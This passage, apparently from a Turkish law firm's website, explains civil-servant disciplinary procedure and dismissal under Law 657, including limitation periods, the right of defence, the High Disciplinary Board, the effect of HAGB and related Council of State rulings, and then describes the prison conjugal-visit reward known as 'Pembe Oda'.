e) Savaş, olağanüstü hal veya genel afetlere ilişkin konularda amirlerin verdiği gö-rev veya emirleri yapmamak,

f) Amirlerine, maiyetindekilere ve iş sahiplerine fiili tecavüzde bulunmak,

g) Memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunmak,

h) Yetki almadan gizli bilgileri açıklamak,

ı) Siyasi ve ideolojik eylemlerden arananları görev mahallinde gizlemek,

j) Yurt dışında Devletin itibarını düşürecek veya görev haysiyetini zedeleyecek tutum ve davranışlarda bulunmak,

k) 5816 sayılı Atatürk Aleyhine İşlenen Suçlar Hakkındaki Kanuna aykırı fiilleri işlemek.

l)Terör örgütleriyle eylem birliği içerisinde olmak, bu örgütlere yardım etmek, kamu imkân ve kaynaklarını bu örgütleri desteklemeye yönelik kullanmak ya da kullandırmak, bu örgütlerin propagandasını yapmak.

Disiplin Soruşturmasında Zamanaşımı Nedir ?

a) Soruşturmaya Başlama Zamanaşımı : 657 sayılı Kanunun 127 nci maddesine göre, aynı Kanunun 125 inci maddesinde sayılan fiil ve hâlleri işleyenler hakkında, bu fiil ve hâllerin işlendiğinin disiplin âmirlerince öğrenildiği tarihten itibaren,

• Uyarma, kınama, aylıktan kesme ve kademe ilerlemesinin durdurulması cezalarını
gerektiren hâllerde 1 (bir) ay,

• Devlet memurluğundan çıkarma cezasını gerektiren hâllerde ise 6 (altı) ay,

İçinde disiplin soruşturmasına başlanmadığı takdirde disiplin cezası verme yetkisi zamanaşımına uğrar.

b) Karar Verme Zamanlaşımı : 657 sayılı Kanunun 127 nci maddesinin ikinci fıkrası uyarınca, disiplin cezasını gerektiren fiil ve hâllerin işlendiği tarihten itibaren 2 (iki) yıl geçtikten sonra disiplin cezası verilemez.

Yukarıda belirtilen süreler dışında 657 sayılı Kanunda öngörülen diğer sürelerin ihlâli disiplin soruşturması ve cezasını zamanaşımına uğratmaz. Bu süreler, hizmet içi düzenleyici sürelerdir. (Örneğin soruşturma raporunun disiplin amirine tevdiinden itibaren 15 gün
içerisinde karar vermemesi, soruşturmayı zamanaşımına uğratmaz.)

Disiplin cezasının idare mahkemesince iptali üzerine, yeniden disiplin cezası verilmesi gerektiği hâlde, 2 yıllık ceza verme zamanaşımı süresi kuralı işletilemez.


Adalet Bakanlığı Yüksek Disiplin Kurulu – Tüm müvekkillerimizin olumlu karar aldığı bir anı. (2018)

Meslekten Çıkarmaya İlişkin Fiilin Tespiti Halinde Neler Yapılır?

Meslekten çıkarmaya ilişkin fiilin/şüphenin tespiti ile idare tarafından disiplin soruşturması başlatılması ve bir muhakkik atanması zorunludur.

Disiplin soruşturması yapılmadan kamu görevlisine disiplin cezası uygulanamaz. Devlet memurları tarafından 657 sayılı Kanunun 125 inci maddesinde belirtilen fiil ve hâllerin işlendiğinin ilgili memurun disiplin amiri tarafından öğrenilmesi üzerine, derhâl disiplin soruşturmasına başlanır.

Disiplin âmiri veya muhakkik disipline aykırı fiilin mağduru veya tanığı olması hâlinde disiplin soruşturmasını yürütemez. Fiilin mağduru veya tanığı olduğunu tutanak altına alan disiplin âmiri, bu tutanağı gereğini yapmak üzere disiplin âmirine, yoksa bir derece alt disiplin âmirine gönderir. Fiilin mağduru veya tanığı muhakkik ise, durumu gereğini yapması için kendisini görevlendiren disiplin âmirine bildirir.

Disiplin soruşturmasının muhakkik atanarak yapılması esastır. Ancak, muhakkiklik görevini yapabilecek bir kişinin bulunmadığı durumlarda disiplin amiri soruşturma dosyasını kendisinin bir derece üzerindeki disiplin âmirine gönderir.

Muhakkik/müfettiş olarak atanacak kişinin, hakkında soruşturma yapılan memura eşit veya daha üst görevde olması zorunludur.

Muhakkikin/Müfettişin Yetki ve Görevleri Nelerdir ?

Konusuyla sınırlı olmak üzere her nevi evrakı incelemeye, ilgili kurumlardan ve kişilerden bilgi ve belge almaya, tanık dinlemeye, mâhallinde keşif yapmaya, bilirkişiden yardım isteme, hakkında soruşturma yapılan memurun savunmasını almaya ve soruşturma raporu düzenlemeye yetkilidir.

Talimat yazma yetkisi bulunmayan muhakkik, talimat yazma yetkisi bulunan disiplin âmiri aracılığıyla bu işlemi yerine getirir.

Muhakkik görevlendirildiği fiil veya hâlin dışında yeni bir disipline aykırı fiil veya hâl tespit ederse, kendiliğinden soruşturma yapamaz. Durumu disiplin âmirine yazılı olarak bildirir. Kendisine yazılı olarak ek soruşturma izni verildiği takdirde bu konularda da soruşturma yapabilir. Suçun hukuki niteliğinin değişmesi ise yeniden izin alınmasını gerektirmez.

Muhakkik, fiil veya hâlin Devlet memurluğundan çıkarma cezasını gerektirdiği yönünde soruşturma raporu düzenlemişse; disiplin âmiri de aynı kanaatte olduğu takdirde, on beş gün içinde bir fezleke ekinde dizi pusulasına bağladığı soruşturma dosyasını Yüksek Disiplin Kuruluna gönderir.

Savunma Hakkı

Devlet memuruna bir yazı ile savunma hakkı tanınmadan disiplin cezası verilemez. Savunma istem yazısı, disiplin soruşturmasının başlangıcında değil, tüm deliller toplanıp disipline aykırı fiil veya hâl tam olarak ortaya çıkarıldıktan sonra tebliğ edilmelidir.

Savunma istem yazısında;
• İsnat edilen fiil ve hâller açıkça (yer, kişi, zaman ve olay belirtilerek) yazılmalıdır.
• 7 (yedi) günden az olmamak üzere savunma hazırlamaya yeterli makûl bir süre
verilmelidir.
• Verilen süre içinde savunma yapılmadığı takdirde savunma hakkından vazgeçilmiş
sayılacağına ilişkin ihtar bulunmalıdır.
Savunma süresi tebliğin ertesi günü işlemeye başlar. İkinci bir süre verilmez. Memurun izinli veya raporlu olması savunma süresini uzatmaz. Ancak mücbir sebep halleri saklıdır.

Yüksek Disiplin Kurulunda Savunma Hakkı

Kişinin meslekten çıkarma nedeni ile Yüksek Disiplin Kuruluna sevk edilmesi ile kişiye son savunma hakkı verilmesi zorunludur.

Yüksek Disiplin Kuruluna kişi AVUKATI ile katılma hakkına sahiptir.

Yüksek Disiplin Kurulunda şüpheli kişi tanık getirtebilir.

Kişi herhangi bir sendikaya üye ise sendika temsilcisinin idare tarafından kurula çağrılması zorunludur.

Meslekten Çıkarma Cezasını Vermeye Kim Yetkilidir ?

Devlet memurluğundan çıkarma cezası; disiplin âmirlerinin teklifi üzerine, Yüksek Disiplin Kurulu tarafından verilir.

Yüksek Disiplin Kurulu Bakanlıkların en üst kurulu olup, Bakan Yardımcısı Başkanlığında ( Bazı Kurumlarda Genel Müdürler), Genel Müdürlerden (Personel Genel Müdürü, Teftiş Kurulu Başkanı gibi) oluşur.

Yüksek Disiplin Kurulunun Ne Gibi Kararlar Verebilir ?

Yüksek Disiplin Kurulu disiplin amirleri tarafından verilen meslekten çıkarma tekliflerini reddedebileceği gibi kabul de edebilir. Bunun yanında eğer şartlar oluşur ise bir alt ceza ( Kademe İlerlemesinin Durdurulması ) cezasını da verebilir.

Disiplin Soruşturmasının Adlî Soruşturmadan Bağımsız Olarak Yapılması Zorunluluğu

Devlet memurunun disiplin cezasını gerektirecek fiil veya hâli, aynı zamanda ceza yargılamasını da gerektiriyorsa; disiplin soruşturmasının sonuçlandırılması için, o memur hakkındaki adlî soruşturma sonucu beklenmez.

Devlet memurunun ceza mevzuatına göre mahkûm olması veya olmaması (Mahkûmiyet, beraat, düşme, kovuşturmaya yer olmadığı vb.) disiplin cezasının uygulanmasına engel teşkil etmez. (657 sayılı Kanun md. 131)

Adlî soruşturma kapsamında alınan beyanların dosyaya eklenmesi yeterli değildir. Disiplin soruşturması kapsamında müşteki ve tüm tanık beyanlarının ayrıca alınması gerekir.

Meslekten Çıkarma İşlemine Karşı Dava Açma Yeri ve Süresi ?

Meslekten çıkarma cezasına karşı İdare Mahkemelerinde 60 gün içerisinde dava açılmalıdır.

Önemle belirtmek gerekirse meslekten çıkarma işleminden sonra kararı veren Disiplin Kuruluna tekrar bir itiraz etme hakkı mevcut değildir. 60 gün içinde dava açılması gerekmektedir.

Emniyet Genel Müdürlüğü anımız. (2017)

Hükmün Açıklanmasının Geri Bırakılması (HAGB) İhraca Etkisi

Hükmün Açıklanmasının Geri Bırakılması (HAGB), sanık hakkında hükmolunan cezanın belli bir denetim süresi içerisinde sonuç doğurmaması, denetim süresi boyunca kasıtlı bir suç işlenmez ve yükümlülüklere uygun davranılırsa ceza kararının ortadan kaldırılması ve davanın düşmesine yol açan bir cezanın bireyselleştirilmesi kurumudur (CMK md.231).

Kural olarak, bir suçun karşılığı olan cezai yaptırım ile ilgili verilen hükmün açıklanmasının geri bırakılması kararı memuriyete engelini ortadan kaldırır. Aynı şekilde hagb kararı verilen bir mahkumiyet memuriyetten çıkarılmaya gerekçe yapılamaz.

Özellikle belirtelim ki; hükmün açıklanmasının geri bırakılması (HAGB), işlenen fiilin disiplin hukuku açısından yeniden değerlendirilmesine engel değildir. Örneğin, cinsel taciz suçu işleyen bir kişi hakkında hükmün açıklanmasının geri bırakılması kararı verilse bile, ceza dosyasındaki beyanlar disiplin hukuku açısından yeniden değerlendirilerek memuriyetten çıkarılma cezası verilebilir.

HAGB alıp ihraç olan müvekkilimize karşı açtığımız dava olumlu sonuçlandı. (2018)

Memuriyetten çıkarılma işleminin sebep unsuru sadece suç işlenmiş olması gösterilmiş ve suçun karşılığı olan ceza hakkında hükmün açıklanmasının geri bırakılması kararı verilmişse, işlem hukuka aykırı hale gelir. Memurun bağlı olduğu idarenin suç teşkil eden eylemi disiplin hukuku açısından yeniden değerlendirerek memuriyetten çıkarma kararı vermesi ile doğrudan ceza mahkemesi kararına dayanarak memuriyetten çıkarma kararı vermesi birbirinden farklı hukuki sebeplere dayalı işlemlerdir.

657 Sayılı Devlet Memurları Kanunu’nun 125. maddesinin E fıkrasının (g) bendinde; “memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunmak” fiili, disiplin hukuku açısından devlet memurluğundan çıkarma cezasını gerektirmektedir. Özellikle vurgulayalım ki, memuriyetten çıkarılma işleminin sebep unsuru, 657 sayılı Kanunun 125/E-g maddesi olarak gösterilmişse, hükmün açıklanmasının geri bırakılması memuriyet görevine son verilmesine engel değildir. Bu maddeye dayanarak yapılan memuriyetten çıkarma işlemlerine karşı, memurun yargılandığı fiilin “memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareket” olmadığı yönünde işlem aleyhine iptal davası açılmalıdır.

Davacının “resmi belgede sahtecilik” suçundan üç kez 1 yıl 8 ay hapis cezası ile cezalandırılmasına ve hükmün açıklanmasının geri bırakılmasına, 5 yıl süre ile denetindi serbestlik süresine tabi tutulmasına; ayrı ayrı iki kez işlediği eylemlerden dolayı “nitelikli dolandırıcılık” suçundan, 1 yıl 3 ay hapis ve 700 TL adli para cezası ile 11 ay 3 gün hapis ve 160 TL adli para cezası ile cezalandırılmasına ve hükmün açıklanmasının geri bırakılmasına, 5 yıl süre ile denetimli serbestlik süresine tabi tutulmasına karar verilmiş ve bu karara yapılan itirazın reddi ile karar kesinleşmiştir. Bu durumda, yukarıda yer verilen Ceza Mahkemesi kararı ile davacı hakkında mahkumiyete hükmedilip hükmün açıklanmasının geri bırakılmasına karar verilmesi karşısında; İdare Mahkemesi tarafından, Türk Ceza Kanunu kapsamında suç teşkil ettiği gerekçedeki anlatımla kabul edilen eylemin sübuta erdiği şeklinde ifade kullanılmasında, masumiyet karinesi uyarınca hukuki isabet görülmemiş ise de; davacının zabıt katibi olarak görev yaptığı sırada, memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunması sebebiyle 657 sayılı Devlet Memurları Kanunu’nun 125/E-g maddesi uyarınca memurluktan çıkarma cezası ile cezalandırılmasına ve bu karar uyarınca memurlukla ilişiğinin kesilmesine ilişkin dava konusu işlemlerde hukuka aykırılık bulunmadığı sonucuna varıldığından, bu husus, anılan kararın bozulmasını gerektirecek nitelikte görülmemiştir (D16-K.2016/1858).

Bazı memuriyetler açısından hükmün açıklanmasının geri bırakılması kararının memuriyete etkisi ile ilgili özel düzenlemeler mevcuttur. Örneğin, Polis Meslek Yüksekokulları Giriş Yönetmeliği’nin 8. maddesinin (h) bendinde polis memurluğuna kabul için şu özel hüküm mevcuttur:


Yüksek Disiplin Kurulunda kararlar oy çokluğu ile alını. Eşitlik halinde Başkanın verdiği oy yönünde karar verilir.

“Memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunmak”(125/E-g) ne demektir ?

Türk Ceza kanununda hangi suçların yüz kızartıcı suç kapsamında yer aldığına dair bir düzenlemede yer almamaktadır.

Bu nedenle uygulamada disiplin cezaları verilirken disiplin amirlerince çeşitli suçlar 657 sayılı devlet memurları kanununun 125. maddesinin e fıkrasının g bendine göre değerlendirilmekte ve memurluktan çıkarılma cezaları verilmektedir.

657 sayılı Devlet Memurları Kanunu madde 48/5’te sayılmış olan aşağıdaki suçlar yüz kızartıcı suç olarak değerlendirilebilir.

-İhaleye fesat karıştırma,
-Edimin ifasına fesat karıştırma,
-Suçtan kaynaklanan malvarlığı değerlerini aklama,
-Kaçakçılık suçları,
-Hırsızlık Suçu,
-Dolandırıcılık Suçu,
-Güveni Kötüye Kullanma Suçu,
-Rüşvet Suçu,
-İrtikap Suçu,
-Zimmet Suçu,
-Hileli İflas (TCK md.161),
-Tüm sahtecilik suçları, (Özel Belgede Sahtecilik Suçu, Resmi Evrakta Sahtecilik Suçu, Parada Sahtecilik Suçu (TCK md.197), Kıymetli Damgada Sahtecilik (TCK md.199),Mühürde Sahtecilik Suçu (TCK md. 202) vb.).

Bunun haricinde çeşitli suçlarda idarelerce ve mahkemelerce yüz kızartıcı suç kapsamında değerlendirilmektedir.

Uygulamada yaşanan sıkıntılara örnek olması açısından geçmiş yıllarda Danıştay Başkanlığınca “memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunmak” fiiline ilişkin olarak verilmiş olan Mahkeme Kararları;

Danıştay İdari Dava Daireleri Kurulu E:2000/594, K:2000/949

“Yurt dışında lisansüstü öğrenim gördüğü sırada irticai faaliyetlerde bulunan çevrelerle ilişkilerde bulunan ve Atatürk İlke ve İnkılapları aleyhine İnternet aracılığı ile propaganda yapan bir öğretim elemanının eylemi, öğretim elemanı sıfatıyla bağdaşmayacak «şeref ve haysiyet kırıcı suç» kapsamında görülmüştür.”

Danıştay 10. Daire Başkanlığı E. 1987/1637, K. 1989/1877,

“…………….yüz kızartıcı hareket kavramı, 657 sayılı Kanun’un 48 nci maddesinde belirtilen yüz kızartıcı suçlar­dan daha geniş kapsamlıdır.”

Danıştay 16. Daire Başkanlığı K. 2016/1858

“Davacının “resmi belgede sahtecilik” suçundan üç kez 1 yıl 8 ay hapis cezası ile cezalandırılmasına ve hükmün açıklanmasının geri bırakılmasına, 5 yıl süre ile denetimli serbestlik süresine tabi tutulmasına; ayrı ayrı iki kez işlediği eylemlerden dolayı “nitelikli dolandırıcılık” suçundan, 1 yıl 3 ay hapis ve 700 TL adli para cezası ile 11 ay 3 gün hapis ve 160 TL adli para cezası ile cezalandırılmasına ve hükmün açıklanmasının geri bırakılmasına, 5 yıl süre ile denetimli serbestlik süresine tabi tutulmasına karar verilmiş ve bu karara yapılan itirazın reddi ile karar kesinleşmiştir. Bu durumda, yukarıda yer verilen Ceza Mahkemesi kararı ile davacı hakkında mahkumiyete hükmedilip hükmün açıklanmasının geri bırakılmasına karar verilmesi karşısında; İdare Mahkemesi tarafından, Türk Ceza Kanunu kapsamında suç teşkil ettiği gerekçedeki anlatımla kabul edilen eylemin sübuta erdiği şeklinde ifade kullanılmasında, masumiyet karinesi uyarınca hukuki isabet görülmemiş ise de; davacının zabıt katibi olarak görev yaptığı sırada, memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunması sebebiyle 657 sayılı Devlet Memurları Kanunu’nun 125/E-g maddesi uyarınca memurluktan çıkarma cezası ile cezalandırılmasına ve bu karar uyarınca memurlukla ilişiğinin kesilmesine ilişkin dava konusu işlemlerde hukuka aykırılık bulunmadığı sonucuna varıldığından, bu husus, anılan kararın bozulmasını gerektirecek nitelikte görülmemiştir”

Danıştay İdari Dava Daireleri Kurulu E. 1992/117, K. 1992/118

“……..haysiyetsizlik, iffetsizlik ve vazifede bırakılmaya mani suiistimalin memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı hare­ket sayılabilmesi için söz konusu eylemin öğretmenlik mesleği ile ilgili konularda tezahür etmesi gerekir.”

Danıştay 12. Daire Başkanlığı E. 2009/2208 K. 2012/751

“Tapu Sicil Müdürlüğünde sicil kâtibi olarak görev yapan davacının, tapu sicilindeki bilgileri suç örgütüne verdiği ve bu eylemin memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketlerde bulunmak şeklinde değerlendirilmesi suretiyle Devlet memurluğundan çıkarma cezası ile cezalandırılmasına ilişkin işlem hukuka uygundur.”

Danıştay 16. Daire Başkanlığı E. 2015/9697 K. 2015/1941

“Özel yaşamın gizliliğinin korunması ilkesi bireyin temel haklarından olması sebebiyle Anayasada ve uluslararası sözleşmelerle de güvence altına alınmıştır. Davacı memur, ancak yargı kararı ile tespiti mümkün olan bir hususta eşine ait telefon kayıtlarını hukuka aykırı bir şekilde düzenlediği müzekkereyle temin etmiş, yetki ve nüfuzunu kötüye kullanarak kişinin rızası dışında kişisel verileri ele geçirmiştir. Bu fiil 657 Sayılı Kanun’un 125/E-g maddesinde sayılan koşullara uygun olmakla, davacının Devlet memurluğundan çıkarma cezası ile cezalandırılmasına dair davaya konu işlemde hukuka ve mevzuata aykırılık bulunmamaktadır.

657 Sayılı Devlet Memurları Kanununun 125/E-g maddesi, kamu görevinin inanılır, güvenilir, itibarlı görevliler eliyle yürütülmesini amaçlamıştır. Memur sıfatı taşıyan ve kamu hizmetinin personel unsurunu oluşturan kişilere toplumun güven duyması, bireylerin idareye olan güven ve inancını da sağlayacaktır. Kamu hizmetinin, gerekli saygınlığı yitirmiş görevliler eliyle yürütülmesi, bireylerin idareye olan güven duygularının sarsılmasına, kişi ile idare ilişkilerinde arzu edilmeyen olumsuz bazı gelişmelere neden olabilir. Kanun, böylesi bir tehlikenin gerçekleşmesini engellemek için önlem almış, müsebbiblerinin Devlet memuriyetinden çıkartılmasını öngörmüştür.

Hukukumuzda haberleşme hürriyeti kapsamında yapılan telefon görüşmeleri ve bunlara dair kayıtların temin edilmesi yetkisi ancak hakim kararı veya gecikmesinde sakınca bulunan hallerde Cumhuriyet Savcısı kararıyla mümkün olup, bu konuda başkaca herhangi bir kamu görevlisinin yetkisi bulunmamaktadır.

Bu durumda, davacının kişilerin temel hak ve hürriyetlerinden olan ve ancak yargı kararı ile tespiti mümkün olan bir hususta eşine ait telefon kayıtlarını hukuka aykırı bir şekilde düzenlediği müzekkereyle temin ettiği, bu müzekkerenin temin edilmesi ile ilgili olarak yargılandığı davada kendisi ve Cumhuriyet Savcısının işlemiş olduğu fiilin birlikte suç işleme kararı kapsamında sabit görüldüğü hususları da birlikte değerlendirildiğinde; kişisel verilerin hukuka aykırı ele geçirilmesi fiilinin kamu görevlilerince işlenmesinin, suçu, Türk Ceza Kanunu uyarınca nitelikli hale getirerek ağırlaştırıcı sebep teşkil ettiği; özel yaşamın gizliliğinin korunması ilkesinin, yukarda belirtilen bireyin temel haklarından olması sebebiyle Anayasada ve uluslararası sözleşmelerde güvence altına alındığı; davacının yetki ve nüfuzunu kötüye kullanarak ve rızası dışında başkasına ait hukuka aykırı bir şekilde ele geçirdiği kişisel verilerin kişi güvenliğinin tehdit edilmesi sonucunu doğurduğu göz önüne alındığında, 657 Sayılı Kanun’un 125/E-g maddesinde sayılan koşullarının davacı yönünden oluştuğu sonucuna varılmıştır”

Danıştay 10. Daire Başkanlığı , E. 1987/487, K. 1988/576

“……….Hesap uzmanının, vergi incelemelerini yaptığı firma sahiplerinden menfaat temini yoluna gitmesi, “memuriyet sıfatı ile bağdaşamayacak derecede utanç verici nitelikte bir eylem” olup devlet memurluğundan çıkarma cezasıyla cezalandı­rılması hukuka uygundur.”

22 Mayıs 2014 tarihli Resmi Gazetede yayımlanan Anayasa Mahkemesi bireysel başvuru no:2013/1614 karar tarihi 03/04/2014 olan karar

“Bu bağlamda, idarenin ve yargısal makamların karar gerekçelerinde, özellikle başvurucunun özel yaşamına dikkat etmediği, genel ahlak değerlerini zedeleyici tutum ve davranışlarda bulunduğu, özel yaşamıyla ilgili olumsuz duyumlar alındığı ve cinsel içerikli eylemlerine ait görüntülerin çekilmesine izin vermek suretiyle işlediği fiilin memurluk sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareketler kapsamında olduğu tespitlerine yer verildiği ve karar sonuçlarının bu gerekçelere dayandırıldığı, sonuç olarak başvuruya konu disiplin işlemi ile yargısal sürece konu edilen davranışların esasen mesleki faaliyet ile ilgisi olmayan, mahremiyet alanına dahil özel yaşam eylemleri olduğu anlaşılmaktadır.”

Danıştay İdari Dava Daireleri Kurulu E. 2010/1391 K. 2011/273 T. 21.4.2011

“Dava; Gümrük Muhafaza Memuru olarak görev yapan davacının, 657 sayılı Devlet Memurları Kanunu`nun 125/E ( g ) maddesi uyarınca “Devlet memurluğundan çıkarma” cezası ile cezalandırılmasına ilişkin işlemin iptali istemiyle açılmıştır. Olayda, Gümrük ve Muhafaza Başmüdürlüğünde gümrük muhafaza memur olarak görev yapan davacının Arena programında yayınlanan, personelin iş sahipleri ile para alışverişi ve rüşvet olaylarına ilişkin görüntülerde yer aldığının saptanması üzerine disiplin soruşturması başlatıldığı, soruşturma sonucu düzenlenen raporda, davacı ile bir miktar para aldığı iş takipçisi tarafından, görüntülerdeki kişilerin kendileri olduğunun kabul edildiği, bu hale göre, davacının kayıt işlemleri sırasında iş takipçisi olan kişi ve başka bir şahıs tarafından çekmecesine bırakılan parayı aldığının açıkça görülmesi karşısında, davacı ile iş takipçisi ve başka bir şahıs arasındaki para alışverişinin sabit olduğu, bu fiilin davacı açısından memuriyet sıfatı ile bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici harekette bulunmak niteliğinde olduğu sonucuna varıldığı; bu durumda, disiplin soruşturması neticesi davacının sübuta eren bu eylemi nedeniyle Devlet memurluğundan çıkarma cezası ile cezalandırılmasına ilişkin dava konusu işlemde hukuka aykırılık bulunmamaktadır.”

Danıştay 12. Daire Başkanlığı 2016/8859 E. , 2017/321 K. “İçtihat Metni

“Soruşturma kapsamında yer alan tüm bilgi ve belgelerin incelenmesinden, davacının Başbakan’ın konvoyu geçerken “…………. şeklinde bağırdığı hususunun sübuta erdiği anlaşılmakla birlikte, davacının eyleminin memurluk sıfatıyla bağdaşmayacak nitelik ve derecede yüz kızartıcı ve utanç verici hareket olarak nitelendirilmesi suretiyle 657 sayılı Kanun’un 125. maddesinin (E) bendinin (g) alt bendinde yer alan fiil kapsamında görülerek meslekten çıkarılmasının ölçülülük ilkesine aykırılık oluşturacağı sonuç ve kanaatine varılmıştır.”

Danıştay 12. Dairesi’nin 23/05/2008 tarihli ve 2006/1541 esas, 2008/3078 sayılı kararı

“… İnfaz ve Koruma Memuru olan davacının ‘Kullanmak için uyuşturucu madde bulundurmak’ suçundan sübuta eren eyleminin, 657 sayılı Devlet Memurları Kanunu’nun 125/E-g maddesi kapsamında utanç verici hareketler olarak değerlendirilip Devlet memurluğundan çıkarma cezası ile cezalandırılması yolunda tesis edilen dava konusu işlemde, usûl ve yasaya aykırılık bulunmadığı yönündeki …. idare mahkemesinin kararının onanmasına…”

Danıştay 5. Dairesinin 13.04.1989 tarihli ve E.1987/1931, K.1989/640 sayılı Kararı

“…Bu sebeple Yönetmeliğin 120/e maddesindeki “gibi” sözcüğünden hareketle bir suçun yüz kızartıcı sayılıp sayılmamasının mutlak surette idarenin takdirine bırakıldığını ve idarenin istek ve takdirine göre suçları nitelendirilebileceğini kabul etmek mümkün değildir. Zina suçunda, maddede sayılan diğer suçlardaki ortak nitelik bulunmadığından bu suçun yüz kızartıcı suç olarak kabul edilmesi suretiyle davacının görevine son verilmesinde mevzuata uyarlıktan söz edilemez. Bu nedenle bu yoldaki işlemin iptali istemiyle açılan davanın reddine ilişkin mahkeme kararında hukuki isabet görülmemiştir.”

PEMBE ODA; EŞ GÖRÜŞMESİ ÖDÜLÜ

PEMBE ODA [EŞ GÖRÜŞMESİ ÖDÜLÜ]

 

Kamuoyunda “Pembe Oda” olarak bilinen, cezaevindeki tutuklu veya hükümlülerin eşleri ile mahrem görüşme yapmalarını sağlayan uygulama aslında “eş görüşmesi ödülü” isimli bir ödüllendirme türüdür.

Öyle ki; Pembe Oda (Eş Görüşmesi Ödülü) uygulamasının da bulunduğu yönetmeliğin ismi Hükümlü Ve Tutukluların Ödüllendirilmesi Hakkında Yönetmelik’tir. 2013 yılından bu yana ise ülkemizde uygulanmaktadır. Söz konusu yönetmelikte eş görüşmesi ödülü dışında, telefon ve ziyaret sürelerini uzatma, harcama miktarlarını arttırma gibi ödüllerde vardır.

 

Eş Görüşmesi Ödülü nedir?

Kapalı ceza infaz kurumundaki hükümlü ve tutuklulara, en geç üç ayda bir kez olmak üzere, üç saatten yirmi dört saate kadar eşleriyle kurumun bu tür ziyaretler için ayrılan bölümünde ve personelin yakın nezareti olmaksızın mahrem şekilde eş görüşmesi sağlayan ödüldür.

 

Eş Görüşmesi Ödülünden Kimler Yararlanabilir?

Ceza İnfaz Kurumunda bulunan tutuklular, hükümlüler ve bu kişilerin resmi eşleri dilekçe vermek suretiyle talepte bulunabilir.

 

Başvuru nasıl yapılır?

Hükümlü veya tutuklu ceza infaz kurumuna vereceği dilekçe ile eşleri ise Ceza İnfaz Kurumlarının internet sitelerinde bulunan formlar doldurup, kimlikleri ve evlilik cüzdanları ile birlikte başvuru yapabilir.

 

Eş Görüşmesi Ödülünün süresi nedir?

Hükümlü ve tutuklulara, en erken ayda bir en geç üç ayda bir, üç saatten yirmi dört saate kadar eş görüşmesi ödülü verilebilir.

İlk görüşmenin süresi üç saat olarak belirlenir. Bu süre; hükümlü veya tutuklunun tutum ve davranışları, kurumun fizikî yapısı, personel sayısı ve mevcut doluluk durumu dikkate alınarak kademeli şekilde yirmi dört saate kadar artırılabilir.

Eş görüşmesi, dini ve milli bayramlar ile Bakanlık tarafından açık görüşme izni verilen özel günlerde yapılamaz.

Eş görüşmesinin gün ve saati, kurumun fizikî yapısı, personel sayısı ve mevcut doluluk durumu ile hükümlü ve tutukluların talepleri dikkate alınarak 09:00 ilâ 17:00 saatleri arasında başlayacak şekilde belirlenir.

Görüşme tarihi ve saati, başkalarının haberdar olamayacağı uygun vasıtalarla, hükümlü veya tutuklunun eşine haber verebileceği makul bir süre önce kendisine bildirilir.

Kurumdan kaynaklanan bir sebeple veya hükümlü, tutuklu ya da eşinin kabul edilebilir bir mazereti nedeniyle görüşmenin planlanan gün ve saatte gerçekleşmemesi hâlinde kurum idaresi tarafından başka bir tarih belirlenir.

 

2018 yılı Mayıs ayı verilerine göre Türkiye’de adli olarak 189 bin tutuklu ve hükümlü var. Terör ve organize suçtan 50 bin tutuklu, hükümlü sayısı var. Toplamda yaklaşık 240 bin tutuklu ve hükümlü var. 2018 yılı itibariyle birçok yeni cezaevi yapılmasına rağmen pembe oda sayıları yetersiz kalmaktadır.

 

Ödülden yararlanmanın şartları nelerdir?

Disiplin cezası almamış veya kaldırılmış hükümlü ve tutuklulardan aşağıda sayılan tutum ve davranışların bir veya birkaçını sergileyenler, diğer davranış türlerine de açıkça aykırı davranmamaları hâlinde ödüllendirilebilir:

  1. Tutum ve davranışları ile diğer hükümlü ve tutuklulara iyi örnek olmak,
  2. İyileştirme faaliyetlerine geçerli mazeret dışında sürekli ve etkin bir şekilde katılarak kişisel gelişim göstermek,
  3. İş, eğitim ve öğretim faaliyetlerine geçerli mazeret dışında sürekli katılarak üstün başarı göstermek,
  4. Kurumdaki kişisel ve ortak kullanım alanları ile bu yerlerde bulunan eşyaların temizlik, düzen ve korunmasına azami özen göstermek…

2013 yılında 53 bin 858 olan toplam ödül sayısının, 2015’te 133 bin 838’e ve 2016 Ocak itibarıyla ise 311 bin 481’e ulaştığı kaydedildi.

Ödül verme yetkisi kimdedir/ kimlerden oluşur?

Hükümlü ve tutukluların ödüllendirilmesi ile verilecek ödülün türüne, sayısına, süresine veya geri alınmasına İdare ve Gözlem Kurulu tarafından karar verilir.

İdare ve gözlem kurulu; Ceza İnfaz Kurumu müdürünün başkanlığında, gözlem ve sınıflandırmadan sorumlu ikinci müdür, idare memuru, cezaevi tabibi, psikiyatrist, psikolog, sosyal çalışmacı, öğretmen, infaz ve koruma baş memuru ile kurum müdürü tarafından teknik personel arasından seçilen bir görevliden oluşur.

 

Kurul nasıl karar alır?

Kurul, resen veya kurumda görev yapan servislerin teklifi üzerine ilgililerin ödüllendirilmesine karar verebilir. Kurul, ödül verilecek hükümlü ve tutukluları ayda en az bir kez yapacağı toplantıda oy çokluğuyla kararlaştırır ve ödülün niteliğine göre uygun şekilde ilgililere bildirir.

Ödülün geri alınmasını gerektiren şartların ortaya çıkması hâlinde Kurul, henüz uygulanmamış veya hâlen uygulanmakta olan ödülün derhâl geri alınmasına karar vererek ilgiliye bildirir.

 

YARGITAY KARARI

İnfaz Hakimliği Yeni Bir Eş Görüştürme Ödülüne Karar Veremez

